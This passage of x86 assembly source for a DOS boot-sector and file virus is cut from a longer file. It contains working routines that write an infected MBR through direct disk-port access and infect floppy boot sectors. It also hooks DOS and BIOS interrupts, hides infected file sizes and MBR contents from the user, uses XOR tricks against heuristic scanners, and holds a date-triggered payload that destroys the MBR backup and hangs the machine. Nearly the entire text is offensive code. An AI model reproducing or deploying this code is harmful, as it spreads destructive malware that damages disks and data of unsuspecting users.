;Restore segment registers
pop es
pop ds
;Get active psp
mov ah,62h
int 21h
add bx,10h
add word ptr cs:[exe_cs][bp],bx
;Restore stack
cli
add bx,word ptr cs:[old_header+0Eh][bp]
mov ss,bx
mov sp,word ptr cs:[old_header+10h][bp]
sti
;Clear some regs
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
sti
;Clear prefetch
db 0EBh,00h
;Jump to original entry point
db 0EAh
exeret equ this byte
exe_ip dw 0000h
exe_cs dw 0000h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit program if launcher execution ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
exit_launcher:
;Get .sys parameter block pointer
pop bx
;Restore segment registers
pop es
pop ds
;Use terminate program in droppers
mov ax,4C00h
int 21h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Write hard drive mbr using direct port access ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
hd_write_port:
;Save some reg
push cx
push dx
push si
;Get offset of write buffer
mov si,bx
call pause_some_ms
try_hd_port_again:
;Enable disk reset (FDC)
mov dx,03F6h
mov al,04h
out dx,al
call pause_some_ms
xor al,al
out dx,al
call pause_some_ms
;Send drive 00h and head 00h
mov dx,01F6h
mov al,0A0h
out dx,al
call pause_some_ms
;Prepare drive to write at cylinder 00h
mov dx,01F7h
mov al,10h
out dx,al
call wait_drive_ready
;Check for errors on drive operation
mov dx,01F1h
in al,dx
and al,68h
jnz try_hd_port_again
call wait_drive_ready
;Send number of sectors to write ( 01h sector )
mov dx,01F2h
mov al,01h
out dx,al
call pause_some_ms
;Send sector
mov dx,01F3h
mov al,01h
out dx,al
call pause_some_ms
;Send cylinder high
mov dx,01F4h
xor al,al
out dx,al
call pause_some_ms
;Send cylinder low
mov dx,01F5h
xor al,al
out dx,al
call pause_some_ms
;Send drive and head
mov dx,01F6h
mov al,0A0h
out dx,al
call pause_some_ms
;Send command (write sector without retry)
mov dx,01F7h
mov al,31h
out dx,al
call wait_seek_ready
;Send data to port ( 0100h words for 01h sector )
mov cx,0100h
mov dx,01F0h
cld
rep outsw
call wait_drive_ready
exit_mbr_infection:
;Restore regs and return
pop si
pop dx
pop cx
ret
wait_drive_ready:
;Check drive-ready flag
mov dx,01F7h
still_working:
in al,dx
test al,80h
jnz still_working
ret
wait_seek_ready:
call wait_drive_ready
;Check if seek operation complete
test al,08h
jz wait_seek_ready
ret
pause_some_ms: mov cx,0008h
void_loop: loop void_loop
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus int 1Ch handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
my_int1Ch:
;Do not use this handler if file infection is active
cmp byte ptr cs:[file_infection_flag],0FFh
je my1Ch_exit
;Inc virus timer counter
inc word ptr cs:[virus_timer]
;Check if time to hook dos
cmp word ptr cs:[virus_timer],0100h
jne not_time_for_dos
;Try to hook dos
call hook_dos
jmp short my1Ch_exit
not_time_for_dos:
;Check if time to start infecting files
cmp word ptr cs:[virus_timer],1000h
jne my1Ch_exit
;Set file infection flag and stop virus timer
mov byte ptr cs:[file_infection_flag],0FFh
my1Ch_exit:
;Get control back to old int 1Ch
jmp dword ptr cs:[old1Ch]
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus int 12h handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
my_int12h:
;Perform int call
pushf
call dword ptr cs:[old12h]
;Installation check
cmp si,00BADh
jne not_check_v
cmp di,0FACEh
jne not_check_v
;Check if call comes from infected .com or .exe files
cmp cx,029Ah
jne not_from_exe_com
call hook_dos
not_from_exe_com:
;Im here!!!
mov si,0DEADh
mov di,0BABEh
not_check_v:
iret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus int 13h handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
my_int13h:
;Hook dos on first write operation
cmp ah,03h
jne look_mbr
call hook_dos
look_mbr:
;Check for head 00h
or dh,dh
jnz my13h_exit
;Take care about track 00h
or ch,ch
jne my13h_exit
;Floppy or hd?
cmp dl,80h
je is_hd_operation
or dl,dl
jz is_floppy_operation
jmp my13h_exit
is_hd_operation:
;Check for write operations
cmp ah,03h
je hd_write
;Check for extended write operations
cmp ah,0Bh
je hd_write
;Check for read operations
cmp ah,02h
je hd_read
;Check for extended read operations
cmp ah,0Ah
je hd_read
my13h_exit:
;Get control back to old int 13h
jmp dword ptr cs:[old13h]
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Monitoring hd write operations ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
hd_write:
;Trying to overwrite virus sectors?
cmp cl,04h+inf_sect_size
ja my13h_exit
;Return without error
clc
retf 02h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Monitoring hd read operations ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
hd_read:
;Trying to read infected mbr?
cmp cl,01h
je stealth_mbr
;Trying to read sectors on witch virus resides?
cmp cl,04h+inf_sect_size
ja my13h_exit
;Return with error
stc
retf 02h
stealth_mbr:
;Redirect reads to infected mbr into the clean copy
mov al,01h
mov cl,03h
pushf
call dword ptr cs:[old13h]
jc mbr_stealth_error
;Decrypt mbr
call crypt_sector
clc
mbr_stealth_error:
retf 02h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Perform encryption over es:[bx] 0200h byte ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
crypt_sector:
push ax
push cx
push di
mov cx,0200h/02h
mov di,bx
cld
sector_loop_crypt:
mov ax,word ptr es:[di]
not ax
stosw
loop sector_loop_crypt
pop di
pop cx
pop ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus floppy infection routine ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
is_floppy_operation:
;Check of buffer in use by int 21h handler
cmp byte ptr cs:[running_sw],00h
jne my13h_exit
;Check read operations
cmp ah,02h
jne my13h_exit
;Over sector 01h
cmp cl,01h
jne my13h_exit
;Perform read operation
call do_int13h
jnc ok_floppy_read
retf 02h
ok_floppy_read:
;Save all regs, we are going to trash them
call push_all
;Check if floppy already infected
call get_position
cmp word ptr es:[di+boot_marker-boot_code],"RC"
jne not_infected
;Read original boot sector
call pop_all
call read_boot_extra
retf 02h
not_infected:
;Check for mbr marker also in floppy
cmp word ptr es:[bx+01FEh],0AA55h
jne exit_floppy_infection
;Check if dos has been loaded
cmp byte ptr cs:[dos_flag],0FFh
je environment_ready
exit_floppy_infection:
call pop_all
clc
retf 02h
environment_ready:
;Choose disk device parameter table
mov ax,word ptr es:[bx+13h]
mov di,offset floppy5_25
cmp ax,0960h
je ok_ddpt_index
mov di,offset floppy3_5
cmp ax,0B40h
jne exit_floppy_infection
ok_ddpt_index:
;Save some regs
push es
push bx
push dx
;Get int 1Eh (address where bios stores a pointer to ddpt)
mov al,1Eh
call get_int
;Save int 1Eh
mov word ptr cs:[old1Eh_off],bx
mov word ptr cs:[old1Eh_seg],es
;Hook int 1Eh to our ddpt
push cs
pop ds
mov dx,di
call set_int
;Point to format table
;(Track 50h,side 00h,200h bytes per sector)
push cs
pop es
mov bx,offset format_table
;Format the extra track
mov ax,0501h+inf_sect_size
mov cx,5001h
pop dx
call do_int13h
jnc extra_track_done
;Restore pointer to read buffer
pop bx
pop es
jmp abort_floppy
extra_track_done:
;Restore pointer to read buffer
pop bx
pop es
;Write original boot sector on first extra sector
mov ax,0301h
call do_int13h
jc abort_floppy
;Copy virus body from hd to floppy ( sector by sector )
mov cx,inf_sect_size
copy_hd_sector:
push cx
mov al,cl
mov cl,inf_sect_size+04h
sub cl,al
mov dl,80h
mov ax,0201h
call do_int13h
jnc hd_sector_ready
replication_error:
pop cx
call read_boot_extra
jmp abort_floppy
hd_sector_ready:
mov ch,50h
sub cl,02h
xor dl,dl
mov ax,0301h
call do_int13h
jc replication_error
pop cx
loop copy_hd_sector
;Read original boot sector saved on extra track
call read_boot_extra
jc abort_floppy
;Save virus position on disk
inc cl
mov word ptr cs:[load_cx],cx
;Move virus loader into boot sector
call get_position
mov si,offset boot_code
mov cx,boot_size
cld
rep movsb
;Write loader over floppy boot sector
mov ax,0301h
mov cl,01h
call do_int13h
;Get original boot sector again
call read_boot_extra
abort_floppy:
;Restore int 1Eh
lds dx,dword ptr cs:[old1Eh]
mov al,1Eh
call set_int
jmp exit_floppy_infection
read_boot_extra:
;Read original boot sector saved on extra track
mov ax,0201h
mov cx,5001h
call do_int13h
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Perform int 13h call ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
do_int13h:
;Check for floppy write operations
cmp ah,03h
jne do_not_use40h
or dl,dl
jz use_int40h
do_not_use40h:
;Perform call
pushf
call dword ptr cs:[old13h]
ret
use_int40h:
;Perform call using int 40h
pushf
call dword ptr cs:[old40h]
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus loader ( inserted into hd mbr and floppy boot sectors ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
boot_code:
;Setup stack and segment regs
cli
xor ax,ax
mov ss,ax
mov es,ax
mov ds,ax
mov sp,7C00h
sti
;Prepare for reading virus body
mov ax,0200h+inf_sect_size
;Read at 0000h:7E00h
mov bx,7E00h
;Get position in disk
;mov cx,XXXXh
db 0B9h
load_cx dw 0000h
sub dh,dh
;Read virus body next to loader
int 13h
jc error_init
;Continue execution on virus body
push es
push bx
retf
error_init:
;Error during virus initialization
int 18h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Floppy boot sector infected marker ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
boot_marker db "CR"
;End of boot code
boot_end equ this byte
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Hook int 21h ( try to find original int 21h address using psp tracing ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
hook_dos:
;Save regs
call push_all
;Check if dos has been loaded
cmp byte ptr cs:[dos_flag],00h
jne exit_wait
;Set dos loaded flag
mov byte ptr cs:[dos_flag],0FFh
;Restore bios allocated memory
xor ax,ax
mov ds,ax
add word ptr ds:[0413h],mem_kb_size
;Check dos version
mov ah,30h
int 21h
cmp al,04h
jb exit_wait
;Get our segment
push cs
pop ds
;Get int 21h vector
mov al,21h
call get_int
;Save old int 21h vector
mov word ptr ds:[old21h_off],bx
mov word ptr ds:[old21h_seg],es
;Save old 21h as original for errors on psp tracing
mov word ptr ds:[org21h_off],bx
mov word ptr ds:[org21h_seg],es
;Point int 21h to our handler
mov dx,offset my_int21h
call set_int
;Try to find original 21h tracing psp
mov ah,62h
int 21h
mov es,bx
;Point ds:si to dispatch handler
lds si,dword ptr es:[0006h]
trace_loop:
;Check if there is a jump instruction
cmp byte ptr ds:[si],0EAh
jne try_dispatcher
;Check if there is a double-nop
lds si,dword ptr ds:[si+01h]
mov ax,9090h
cmp ax,word ptr ds:[si]
jne trace_loop
;Sub offset from dispatcher
sub si,32h
;Check if there is a double-nop
cmp ax,word ptr ds:[si]
je found_original
try_dispatcher:
;Check for cs prefix and push ds
cmp word ptr ds:[si],2E1Eh
jne exit_wait
;Add offset from dispatcher
add si,0025h
;Check for cli and push ax instructions
cmp word ptr ds:[si],80FAh
jne exit_wait
found_original:
;Save found address
mov word ptr cs:[org21h_off],si
mov word ptr cs:[org21h_seg],ds
exit_wait:
;Restore regs and return
call pop_all
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus int 21h handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
my_int21h:
;Save entry regs
call push_all
;Get our code segment int ds
push cs
pop ds
;Set int 21h running switch
mov byte ptr ds:[running_sw],0FFh
;Anti-heuristic function number examination
xor ax,0FFFFh
mov word ptr ds:[dos_function],ax
;Get int 24h vector
mov al,24h
call get_int
;Save old int 24h
mov word ptr ds:[old24h_seg],es
mov word ptr ds:[old24h_off],bx
;Hook int 24h to a do-nothing handler
mov dx,offset my_int24h
call set_int
;Check for special files
mov ah,62h
call dos_call
dec bx
mov es,bx
mov ax,word ptr es:[0008h]
mov byte ptr ds:[stealth_sw],00h
;Check if arj is running
cmp ax,"RA"
je disable_stealth
;Check for pkzip utils
cmp ax,"KP"
je disable_stealth
;Check for lha
cmp ax,"HL"
je disable_stealth
;Check for backup
cmp ax,"AB"
je disable_stealth
jmp no_running
disable_stealth:
mov byte ptr ds:[stealth_sw],0FFh
no_running:
;Restore and re-save all regs
call pop_all
call push_all
;Put function number into bx
mov bx,word ptr cs:[dos_function]
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Check for activation circunstances ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
activation_00:
;Get dos date
cmp bh,(2Ah xor 0FFh)
jne infection_00
jmp dos_get_date
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infection functions
³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
infection_00:
;Exec function ( save filename for later infection )
cmp bx,(4B00h xor 0FFFFh)
jne infection_01
jmp dos_exec
infection_01:
;Close file (Handle)
cmp bh,(3Eh xor 0FFh)
jne infection_02
jmp dos_close
infection_02:
;Get or set file attribute
cmp bh,(43h xor 0FFh)
jne infection_03
jmp infect_file_ds_dx
infection_03:
;Rename or move file
cmp bh,(56h xor 0FFh)
jne infection_04
jmp infect_file_ds_dx
infection_04:
;Terminate program ( infect executed program )
cmp bh,(4Ch xor 0FFh)
jne stealth_dos
jmp dos_terminate_prog
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Stealth functions ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
stealth_dos:
;Check if stealth is disabled
cmp byte ptr cs:[stealth_sw],0FFh
je m21h_exit
;Open file (Handle)
cmp bh,(3Dh xor 0FFh)
jne stealth_00
jmp dos_open
stealth_00:
;Extended open
cmp bh,(6Ch xor 0FFh)
jne stealth_01
jmp dos_open
stealth_01:
;Directory stealth works with function Findfirst (fcb)
cmp bh,(11h xor 0FFh)
jne stealth_02
jmp ff_fcb
stealth_02:
;Directory stealth works also with function Findnext(fcb)
cmp bh,(12h xor 0FFh)
jne stealth_03
jmp ff_fcb
stealth_03:
;Search stealth works with Findfirst (handle)
cmp bh,(4Eh xor 0FFh)
jne stealth_04
jmp ff_handle
stealth_04:
;Search stealth works also with Findnext (handle)
cmp bh,(4Fh xor 0FFh)
jne stealth_05
jmp ff_handle
stealth_05:
;Read stealth
cmp bh,(3Fh xor 0FFh)
jne stealth_06
jmp dos_read
stealth_06:
;Disinfect if debuggers exec
cmp bx,(4B01h xor 0FFFFh)
jne stealth_07
jmp dos_load_exec
stealth_07:
;Disinfect if file write
cmp bh,(40h xor 0FFh)
jne stealth_08
jmp dos_write
stealth_08:
;Get file date/time
cmp bx,(5700h xor 0FFFFh)
jne stealth_09
jmp dos_get_time
stealth_09:
;Set file date/time
cmp bx,(5701h xor 0FFFFh)
jne m21h_exit
jmp dos_set_time
m21h_exit:
;Free int 24h
call unhook_ints
call pop_all
;Get control back to dos
jmp dword ptr cs:[old21h]
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get dos date and payload ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
dos_get_date:
;Get regs values on function entry
call pop_all
;Call dos function
call dos_call
;Check if date is 4th of June
cmp dx,0604h
je activate_now
clc
retf 02h
activate_now:
;Reset hd
xor ax,ax
int 13h
;Overwrite mbr copy
mov bx,ax
mov ax,0301h
mov cx,0003h
mov dx,0080h
int 13h
;Set video-mode 80*25 16-Colors
mov ax,0003h
int 10h
;Set cursor position
mov ah,02h
xor bh,bh
mov dx,0B16h
int 10h
;Print string + beep
push cs
pop ds
mov si,offset txt_credits_1
call loop_beep_string
;Set cursor position
mov ah,02h
xor bh,bh
mov dx,0C16h
int 10h
;Print string + beep
push cs
pop ds
mov si,offset txt_credits_2
call loop_beep_string
hang_machine:
;Endless loops rulez :P
jmp hang_machine
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Directory stealth with functions 11h and 12h (fcb) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ff_fcb:
;Call dos function
call pop_all
call dos_call
;Save all regs
call push_all
;Check for errors
cmp al,255
je nofound_fcb
;Get current PSP
mov ah,62h
call dos_call
;Check if call comes from DOS
mov es,bx
cmp bx,es:[16h]
jne nofound_fcb
mov bx,dx
mov al,ds:[bx+00h]
push ax
;Get DTA
mov ah,2Fh
call dos_call
pop ax
inc al
jnz fcb_ok
add bx,07h
fcb_ok:
;Check if infected
mov ax,word ptr es:[bx+17h]
and al,1Fh
cmp al,1Fh
jne nofound_fcb
;Restore seconds
and byte ptr es:[bx+17h],0E0h
;Restore original file size
sub word ptr es:[bx+1Dh],inf_byte_size
sbb word ptr es:[bx+1Fh],0000h
nofound_fcb:
;Restore some registers and return
call unhook_ints
call pop_all
iret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Search stealth with functions 4Eh and 4Fh (handle) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ff_handle:
;Call dos function
call pop_all
call dos_call
jnc ffhok
;Exit if error, return flags to caller
call unhook_ints
stc
retf 02h
ffhok:
;Save result
call push_all
;Get DTA
mov ah,2Fh
call dos_call
;Check if infected
mov ax,word ptr es:[bx+16h]
and al,1Fh
cmp al,1Fh
jne nofound_handle
;Restore seconds field
and byte ptr es:[bx+16h],0E0h
;Restore original size
sub word ptr es:[bx+1Ah],inf_byte_size
sbb word ptr es:[bx+1Ch],0000h
nofound_handle:
;Restore some registers and exit
call unhook_ints
call pop_all
clc
retf 02h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exec ( load program ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
dos_load_exec:
;Open file for read-only
mov ax,3D00h
call dos_call
jnc loaded
jmp m21h_exit
loaded:
xchg bx,ax
jmp do_disinfect
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Write to file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
dos_write:
call pop_all
call push_all
do_disinfect:
;Get sft address in es:di
call get_sft
jc bad_operation
;Check if file is infected
mov al,byte ptr es:[di+0Dh]
mov ah,1Fh
and al,ah
cmp al,ah
je clear_header
bad_operation:
jmp load_error
clear_header:
;Save and set file open mode (read/write)
mov cx,0002h
xchg cx,word ptr es:[di+02h]
push cx
;Save and set file attribute
xor al,al
xchg al,byte ptr es:[di+04h]
push ax
;Save and set file pointer position
push word ptr es:[di+15h]
push word ptr es:[di+17h]
;Get file true size if write operation
cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh)
jne no_size_fix
